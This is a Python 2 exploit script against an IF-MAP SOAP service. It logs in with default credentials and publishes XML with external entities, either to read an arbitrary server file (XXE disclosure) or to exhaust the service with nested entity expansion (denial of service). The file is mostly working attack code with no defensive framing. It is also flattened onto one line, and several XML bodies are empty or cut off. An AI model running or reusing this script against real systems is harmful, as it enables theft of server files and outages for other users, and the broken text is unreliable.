#!/usr/bin/env python2 import requests import re import sys import random import string import getopt from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def rand_ident(n=6): '''Generate a lowercase identifier.''' return ''.join(random.choice(string.ascii_lowercase) for _ in range(n)) def usage(): print('%s [-h|--help] [-a|--auth ] [-u|--url ] [-g|--get ] [-d|--dos]' % sys.argv[0]) print(' auth defaults to test:test') print(' url defaults to https://127.0.0.1:8443/axis2/services/IfmapService') url = 'https://127.0.0.1:8443/axis2/services/IfmapService' creds = ('test', 'test') remote_file = None dos = False try: opts, args = getopt.getopt(sys.argv[1:], 'ha:u:dg:', ['help', 'auth=', 'url=', 'dos', 'get=']) except getopt.GetoptError as err: usage() sys.exit(1) for o, a in opts: if o in ('-h', '--help'): usage() sys.exit(0) elif o in ('-a', '--auth'): creds = a.split(':') assert(len(creds) == 2) elif o in ('-u', '--url'): url = a elif o in ('-d', '--dos'): dos = True elif o in ('-g', '--get'): remote_file = a if not dos and remote_file is None: usage() sys.exit(1) if not dos: assert(remote_file[0] == '/') headers = { 'Content-Type': 'application/soap+xml', } def do_ifmap(body): r = requests.post(url, headers=headers, auth=creds, data=body, verify=False ) if r.status_code != 200: return (r.status_code, '') return (r.status_code, r.content) # create a new session-id new_session = ''' ''' (status_code, soap_response) = do_ifmap(new_session) assert(status_code == 200) mo = re.search(r'session-id="(.*?)"', soap_response, re.I|re.S) assert(mo) session_id = mo.group(1) # publish an access-request rand_elm = rand_ident(8) rand_ent = rand_ident(8) if dos: acc_req = ''' ''' for i in range(1, 10): acc_req += '\n' acc_req += '\n]><%s>&%s9;' % (rand_elm, rand_ent, rand_elm) print('%s' % acc_req) else: acc_req = ''' ]> &''' + rand_ent + '''; ''' (status_code, soap_response) = do_ifmap(acc_req) assert(status_code == 200) # search for the newly created access request search = ''' ''' (status_code, soap_response) = do_ifmap(search) assert(status_code == 200) mo = re.search(r'\(.*)\', soap_response, re.I|re.S) assert(mo) print('%s' % mo.group(1))